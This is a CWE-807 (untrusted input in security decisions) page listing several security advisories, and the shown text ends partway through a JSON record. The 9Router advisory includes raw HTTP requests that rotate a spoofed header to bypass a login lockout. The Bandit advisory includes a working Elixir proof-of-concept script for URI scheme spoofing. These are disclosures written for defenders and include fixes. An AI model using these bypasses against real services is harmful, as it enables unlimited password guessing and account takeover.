Common Weakness Enumeration

CWE-807

Allowed

Reliance on Untrusted Inputs in a Security Decision

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.

201 vulnerabilities reference this CWE, most recent first.

GHSA-2MCJ-95P4-49MV

Vulnerability from github – Published: 2026-09-23 21:30 – Updated: 2026-09-24 06:31
VLAI
Details

A flaw was found in Red Hat Ansible Automation Platform's automation- controller. The provisioning-callback secret (host_config_key) is exposed to users holding only the read-level view_jobtemplate permission -- both in the job template API representation and in the activity stream -- and the provisioning callback endpoint trusts a client-supplied X-Forwarded-For header to determine the calling host when the controller is deployed behind the AAP gateway with an empty proxy allow-list. By reading the secret and spoofing X-Forwarded-For to match any host in the job template's inventory, a minimally privileged or unauthenticated remote attacker can launch the job template against arbitrary managed hosts using the job template's credentials, resulting in privilege escalation and remote code execution on managed hosts.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-84474"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-807"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-23T19:19:39Z",
    "severity": "CRITICAL"
  },
  "details": "A flaw was found in Red Hat Ansible Automation Platform\u0027s automation-\ncontroller. The provisioning-callback secret (host_config_key) is exposed to\nusers holding only the read-level view_jobtemplate permission -- both in the\njob template API representation and in the activity stream -- and the\nprovisioning callback endpoint trusts a client-supplied X-Forwarded-For\nheader to determine the calling host when the controller is deployed behind\nthe AAP gateway with an empty proxy allow-list. By reading the secret and\nspoofing X-Forwarded-For to match any host in the job template\u0027s inventory, a\nminimally privileged or unauthenticated remote attacker can launch the job\ntemplate against arbitrary managed hosts using the job template\u0027s credentials,\nresulting in privilege escalation and remote code execution on managed hosts.",
  "id": "GHSA-2mcj-95p4-49mv",
  "modified": "2026-09-24T06:31:13Z",
  "published": "2026-09-23T21:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84474"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71113"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71114"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71115"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71177"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71179"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-84474"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2527073"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2RGF-HM63-5QPH

Vulnerability from github – Published: 2026-03-03 22:17 – Updated: 2026-03-25 18:47
VLAI
Summary
OpenClaw improperly parses X-Forwarded-For behind trusted proxies allows client IP spoofing in security decisions
Details

Summary

OpenClaw used left-most X-Forwarded-For values when requests came from configured trusted proxies. In proxy chains that append/preserve header values, this could let attacker-controlled header content influence security decisions tied to client IP.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected: <= 2026.2.19-2
  • Patched: 2026.2.21 (planned next release)

Impact

Possible client-IP spoofing in security-sensitive paths (for example auth rate-limit identity and local/private classification) for deployments behind trusted proxies with non-recommended forwarding behavior.

Scope Note

OpenClaw docs recommend reverse proxies overwrite (not append/preserve) inbound forwarding headers. This condition reduces severity.

Fix Commit(s)

  • 07039dc089e51589a213ec0d16f8d6f2cd871fa1
  • 8877bfd11ec7760b115b2d0d7500a45da2749747

Release Process Note

patched_versions is pre-set to the planned next release (2026.2.21). After npm release is out, publish this advisory.

OpenClaw thanks @AnthonyDiSanti for reporting.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.2.19-2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32029"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T22:17:12Z",
    "nvd_published_at": "2026-03-19T22:16:38Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nOpenClaw used left-most `X-Forwarded-For` values when requests came from configured trusted proxies. In proxy chains that append/preserve header values, this could let attacker-controlled header content influence security decisions tied to client IP.\n\n### Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected: `\u003c= 2026.2.19-2`\n- Patched: `2026.2.21` (planned next release)\n\n### Impact\n\nPossible client-IP spoofing in security-sensitive paths (for example auth rate-limit identity and local/private classification) for deployments behind trusted proxies with non-recommended forwarding behavior.\n\n### Scope Note\n\nOpenClaw docs recommend reverse proxies overwrite (not append/preserve) inbound forwarding headers. This condition reduces severity.\n\n### Fix Commit(s)\n\n- `07039dc089e51589a213ec0d16f8d6f2cd871fa1`\n- `8877bfd11ec7760b115b2d0d7500a45da2749747`\n\n### Release Process Note\n\n`patched_versions` is pre-set to the planned next release (`2026.2.21`). After npm release is out, publish this advisory.\n\nOpenClaw thanks @AnthonyDiSanti for reporting.",
  "id": "GHSA-2rgf-hm63-5qph",
  "modified": "2026-03-25T18:47:26Z",
  "published": "2026-03-03T22:17:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-2rgf-hm63-5qph"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32029"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/07039dc089e51589a213ec0d16f8d6f2cd871fa1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/8877bfd11ec7760b115b2d0d7500a45da2749747"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-client-ip-spoofing-via-x-forwarded-for-header-parsing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw improperly parses X-Forwarded-For behind trusted proxies allows client IP spoofing in security decisions"
}

GHSA-32GC-64M7-HJ7V

Vulnerability from github – Published: 2026-09-22 16:34 – Updated: 2026-09-22 16:34
VLAI
Summary
9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header
Details

Summary

9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.

Affected Component

  • src/lib/auth/loginLimiter.js
  • getClientIp() — derives the rate-limit bucket key from the client-supplied X-9r-Real-Ip header
  • checkLock() / recordFail() — per-IP progressive lockout (MAX_FAILS_BEFORE_LOCK = 5)
  • src/app/api/auth/login/route.js — login endpoint protected by the above limiter

Root Cause

The brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. getClientIp() returns the value of X-9r-Real-Ip directly. The design assumes this header is produced and sanitized only by the trusted custom-server.js wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:

Untrusted Client Input
        ↓
X-9r-Real-Ip: <attacker-chosen, rotated each request>
        ↓
getClientIp()  → distinct bucket per request
        ↓
recordFail()/checkLock()  → threshold (5) never reached
        ↓
unlimited 401 attempts, no 429 lockout

Attack Scenario

  1. The instance is deployed in a mode that does not use custom-server.js, and the login endpoint is reachable by the attacker (the default bind is 0.0.0.0).

  2. The attacker submits password guesses to POST /api/auth/login, setting a different X-9r-Real-Ip value on each request (e.g., 10.0.0.1, 10.0.0.2, ...).

  3. Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns 429.

  4. The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.

Proof of Concept

Baseline — fixed header value (lockout enforced)

Repeated POST /api/auth/login with a constant X-9r-Real-Ip: 9.9.9.9 and body {"password":"wrong"}:

POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 9.9.9.9
Content-Type: application/json
Content-Length: 20
Connection: close

{"password":"wrong"}

Observed responses (sequential):

#1 → 401  {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}

#2 → 401  {"error":"Invalid password. 3 attempt(s) left before lockout.","remainingBeforeLock":3}

#3 → 401  {"error":"Invalid password. 2 attempt(s) left before lockout.","remainingBeforeLock":2}

#4 → 401  {"error":"Invalid password. 1 attempt(s) left before lockout.","remainingBeforeLock":1}

#5 → 429  Retry-After: 30
          {"error":"Too many failed attempts. Try again in 30s. ...","retryAfter":30}

Exploit — rotated header value (lockout bypassed)

Same request and body, but a different X-9r-Real-Ip per request, sent while 9.9.9.9 was already locked:

POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 10.0.0.1
Content-Type: application/json
Content-Length: 20
Connection: close

{"password":"wrong"}

Observed responses:

X-9r-Real-Ip: 10.0.0.1 → 401  {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}

X-9r-Real-Ip: 10.0.0.2 → 401  {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}

X-9r-Real-Ip: 10.0.0.3 → 401  {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}

Screenshot 2026-06-19 183338 Screenshot 2026-06-19 183408

Every rotated value resets to "4 attempt(s) left" and never returns 429, demonstrating unbounded guessing.

Impact

The login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (0.0.0.0) and the existence of a default dashboard password, both of which lower the effort required to succeed.

Remediation

  • Do not derive the rate-limit key from a client-controllable header. Base getClientIp() on the transport-level peer address (req.socket.remoteAddress) for the limiter bucket.
  • Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure.
  • If custom-server.js is required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-supplied X-9r-* headers at the edge before they reach the limiter.
  • Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56682"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-307",
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T16:34:18Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Summary\n\n9router enforces a progressive login lockout (5 failed attempts \u2192 temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.\n\n# Affected Component\n\n- `src/lib/auth/loginLimiter.js`\n  - `getClientIp()` \u2014 derives the rate-limit bucket key from the client-supplied `X-9r-Real-Ip` header\n  - `checkLock()` / `recordFail()` \u2014 per-IP progressive lockout (`MAX_FAILS_BEFORE_LOCK = 5`)\n- `src/app/api/auth/login/route.js` \u2014 login endpoint protected by the above limiter\n\n# Root Cause\n\nThe brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. `getClientIp()` returns the value of `X-9r-Real-Ip` directly. The design assumes this header is produced and sanitized only by the trusted `custom-server.js` wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:\n\n```text\nUntrusted Client Input\n        \u2193\nX-9r-Real-Ip: \u003cattacker-chosen, rotated each request\u003e\n        \u2193\ngetClientIp()  \u2192 distinct bucket per request\n        \u2193\nrecordFail()/checkLock()  \u2192 threshold (5) never reached\n        \u2193\nunlimited 401 attempts, no 429 lockout\n```\n\n# Attack Scenario\n\n1. The instance is deployed in a mode that does not use `custom-server.js`, and the login endpoint is reachable by the attacker (the default bind is `0.0.0.0`).\n\n2. The attacker submits password guesses to `POST /api/auth/login`, setting a different `X-9r-Real-Ip` value on each request (e.g., `10.0.0.1`, `10.0.0.2`, ...).\n\n3. Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns `429`.\n\n4. The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.\n\n# Proof of Concept\n\n## Baseline \u2014 fixed header value (lockout enforced)\n\nRepeated `POST /api/auth/login` with a constant `X-9r-Real-Ip: 9.9.9.9` and body `{\"password\":\"wrong\"}`:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: victim.example.com:20127\nX-9r-Real-Ip: 9.9.9.9\nContent-Type: application/json\nContent-Length: 20\nConnection: close\n\n{\"password\":\"wrong\"}\n```\n\nObserved responses (sequential):\n\n```text\n#1 \u2192 401  {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\n#2 \u2192 401  {\"error\":\"Invalid password. 3 attempt(s) left before lockout.\",\"remainingBeforeLock\":3}\n\n#3 \u2192 401  {\"error\":\"Invalid password. 2 attempt(s) left before lockout.\",\"remainingBeforeLock\":2}\n\n#4 \u2192 401  {\"error\":\"Invalid password. 1 attempt(s) left before lockout.\",\"remainingBeforeLock\":1}\n\n#5 \u2192 429  Retry-After: 30\n          {\"error\":\"Too many failed attempts. Try again in 30s. ...\",\"retryAfter\":30}\n```\n\n## Exploit \u2014 rotated header value (lockout bypassed)\n\nSame request and body, but a different `X-9r-Real-Ip` per request, sent while `9.9.9.9` was already locked:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: victim.example.com:20127\nX-9r-Real-Ip: 10.0.0.1\nContent-Type: application/json\nContent-Length: 20\nConnection: close\n\n{\"password\":\"wrong\"}\n```\n\nObserved responses:\n\n```text\nX-9r-Real-Ip: 10.0.0.1 \u2192 401  {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\nX-9r-Real-Ip: 10.0.0.2 \u2192 401  {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\nX-9r-Real-Ip: 10.0.0.3 \u2192 401  {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n```\n\u003cimg width=\"1211\" height=\"814\" alt=\"Screenshot 2026-06-19 183338\" src=\"https://github.com/user-attachments/assets/07e37cf3-1860-4a06-8b27-97a5f6b9be64\" /\u003e\n\u003cimg width=\"1208\" height=\"816\" alt=\"Screenshot 2026-06-19 183408\" src=\"https://github.com/user-attachments/assets/27021c5c-cb29-4649-887e-8de46f4c6e1c\" /\u003e\n\nEvery rotated value resets to `\"4 attempt(s) left\"` and never returns `429`, demonstrating unbounded guessing.\n# Impact\n\nThe login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (`0.0.0.0`) and the existence of a default dashboard password, both of which lower the effort required to succeed.\n\n# Remediation\n\n- Do not derive the rate-limit key from a client-controllable header. Base `getClientIp()` on the transport-level peer address (`req.socket.remoteAddress`) for the limiter bucket.\n- Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure.\n- If `custom-server.js` is required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-supplied `X-9r-*` headers at the edge before they reach the limiter.\n- Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.",
  "id": "GHSA-32gc-64m7-hj7v",
  "modified": "2026-09-22T16:34:18Z",
  "published": "2026-09-22T16:34:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-32gc-64m7-hj7v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/commit/efd20be8d81ef2e256a7037f3aa78e6b567b5fd3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/releases/tag/v0.5.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header"
}

GHSA-34X9-XFCP-9VVR

Vulnerability from github – Published: 2026-10-01 12:31 – Updated: 2026-10-01 12:31
VLAI
Details

Ghost versions before 6.62.0 contain an authentication bypass vulnerability in staff invite acceptance that allows users to specify any email address when creating their account. Attackers can accept leaked invite tokens with attacker-controlled email addresses, or legitimate recipients can register with unintended email providers.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-103267"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-807"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-01T11:17:21Z",
    "severity": "MODERATE"
  },
  "details": "Ghost versions before 6.62.0 contain an authentication bypass vulnerability in staff invite acceptance that allows users to specify any email address when creating their account. Attackers can accept leaked invite tokens with attacker-controlled email addresses, or legitimate recipients can register with unintended email providers.",
  "id": "GHSA-34x9-xfcp-9vvr",
  "modified": "2026-10-01T12:31:17Z",
  "published": "2026-10-01T12:31:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/Ghost/security/advisories/GHSA-xcgh-2828-cvmx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-103267"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/ghost-0.5.0-before-6.62.0-arbitrary-email-registration-via-staff-invite"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-375F-4R2H-F99J

Vulnerability from github – Published: 2026-05-07 03:47 – Updated: 2026-05-07 03:47
VLAI
Summary
Bandit trusts client-supplied URI scheme on plaintext connections
Details

Summary

Bandit reflects the client-supplied URI scheme into conn.scheme without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like GET https://victim/path HTTP/1.1 and the application observes conn.scheme = :https even though no TLS was negotiated. Any downstream Plug logic that trusts conn.scheme as a security signal — Plug.SSL's "already secure, don't redirect" branch, secure: true cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted.

The vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28

Details

The bug is in lib/bandit/pipeline.ex at determine_scheme/2 (around line 89). The function takes the request target's scheme and the transport's secure? flag and produces the URI scheme used to build the %Plug.Conn{}. The third match clause is {_, scheme} -> scheme — i.e. whenever the client supplies any scheme on the request target, the function returns that scheme verbatim and discards secure? entirely.

Two attacker-controlled inputs reach this code path: - HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. GET https://victim/path HTTP/1.1. - HTTP/2 :scheme pseudo-header, which is a free-form string sent by the client.

Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare https and Bandit will pass %URI{scheme: "https"} into Plug.Conn.Adapter.conn/5, producing conn.scheme == :https. There is no guard in determine_scheme/2; the discarding of secure? is deliberate.

Suggested fix: when secure? is true, force the scheme to "https"; when false, force it to "http" — or reject the request with 400 Bad Request if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.

PoC

A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on 127.0.0.1:4321 with a Plug that echoes conn.scheme, opens a plain TCP socket, and sends:

GET https://127.0.0.1:4321/ HTTP/1.1
Host: 127.0.0.1:4321
Connection: close

A correctly-behaving server would either coerce conn.scheme to :http or return 400 Bad Request. Bandit 1.10.4 returns :https, confirming the spoof.

Impact

Transport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:

  • Plug.SSL skipping its HTTP→HTTPS redirect because the request "already looks secure", letting plaintext requests bypass the redirect entirely.
  • Cookies emitted with secure: true on a plaintext response, where a network attacker could capture them.
  • Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.
  • Application code that uses conn.scheme to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.

The vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on conn.scheme.

Script and Logs

# Bandit reflects the client-supplied scheme into conn.scheme.
#
# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme
# appears on the request target, ignoring the `secure?` flag that records
# the actual transport state. HTTP/1.1 absolute-form request targets
# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both
# attacker-controlled strings that flow into this function. Over a
# plaintext connection, a client can claim `https` and Bandit hands a
# `%Plug.Conn{scheme: :https}` to the application — even though no TLS
# was negotiated.
#
# Downstream Plug consumers that branch on `conn.scheme` are misled:
# Plug.SSL's "already secure, don't redirect" path, `secure: true` cookie
# flagging, audit logs, CSRF/SameSite gating, etc.
#
# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one
# HTTP/1.1 absolute-form request with scheme `https://`, and prints the
# `conn.scheme` the application observes. A fixed server should report
# `:http` (or reject the request); the buggy server reports `:https`.
#
# Run: elixir scripts/bandit/http1_scheme_spoofing.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule SchemeApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n"
    Plug.Conn.send_resp(conn, 200, body)
  end
end

defmodule SchemeSpoof do
  @port 4321

  def run do
    {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    # Absolute-form request target with scheme "https" over a plaintext
    # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request;
    # nothing about it implies the connection is TLS.
    request =
      "GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <>
        "Host: 127.0.0.1:#{@port}\r\n" <>
        "Connection: close\r\n" <>
        "\r\n"

    log("Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.")
    :ok = :gen_tcp.send(sock, request)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    :gen_tcp.close(sock)

    log("Server response:")
    IO.puts(response)

    cond do
      response =~ "conn.scheme=:https" ->
        log("VULNERABLE — application sees conn.scheme = :https on a plaintext socket.")
        log("Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.")

      response =~ "conn.scheme=:http" ->
        log("Server forced scheme to :http — bug appears patched.")

      true ->
        log("Unexpected response shape.")
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

SchemeSpoof.run()

12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.
[10:53:25.316] Server response:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 10:53:25 GMT
content-length: 47
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

This is what the Plug sees: conn.scheme=:https

[10:53:25.316] VULNERABLE — application sees conn.scheme = :https on a plaintext socket.
[10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.
Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "bandit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:47:29Z",
    "nvd_published_at": "2026-05-01T21:16:17Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nBandit reflects the client-supplied URI scheme into `conn.scheme` without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like `GET https://victim/path HTTP/1.1` and the application observes `conn.scheme = :https` even though no TLS was negotiated. Any downstream Plug logic that trusts `conn.scheme` as a security signal \u2014 `Plug.SSL`\u0027s \"already secure, don\u0027t redirect\" branch, `secure: true` cookie flagging, audit logging, CSRF/SameSite gating \u2014 is silently misled into treating an attacker\u0027s plaintext connection as encrypted.\n\nThe vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28\n\n### Details\nThe bug is in `lib/bandit/pipeline.ex` at `determine_scheme/2` (around line 89). The function takes the request target\u0027s scheme and the transport\u0027s `secure?` flag and produces the URI scheme used to build the `%Plug.Conn{}`. The third match clause is `{_, scheme} -\u003e scheme` \u2014 i.e. whenever the client supplies *any* scheme on the request target, the function returns that scheme verbatim and discards `secure?` entirely.\n\nTwo attacker-controlled inputs reach this code path:\n- HTTP/1.1 absolute-form request targets (RFC 9112 \u00a73.2.2), e.g. `GET https://victim/path HTTP/1.1`.\n- HTTP/2 `:scheme` pseudo-header, which is a free-form string sent by the client.\n\nNeither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare `https` and Bandit will pass `%URI{scheme: \"https\"}` into `Plug.Conn.Adapter.conn/5`, producing `conn.scheme == :https`. There is no guard in `determine_scheme/2`; the discarding of `secure?` is deliberate.\n\n**Suggested fix:** when `secure?` is `true`, force the scheme to `\"https\"`; when `false`, force it to `\"http\"` \u2014 or reject the request with `400 Bad Request` if the supplied scheme disagrees with the transport\u0027s actual security state. Do not trust the client-supplied scheme.\n\n### PoC\nA self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on `127.0.0.1:4321` with a Plug that echoes `conn.scheme`, opens a plain TCP socket, and sends:\n\n```\nGET https://127.0.0.1:4321/ HTTP/1.1\nHost: 127.0.0.1:4321\nConnection: close\n```\n\nA correctly-behaving server would either coerce `conn.scheme` to `:http` or return `400 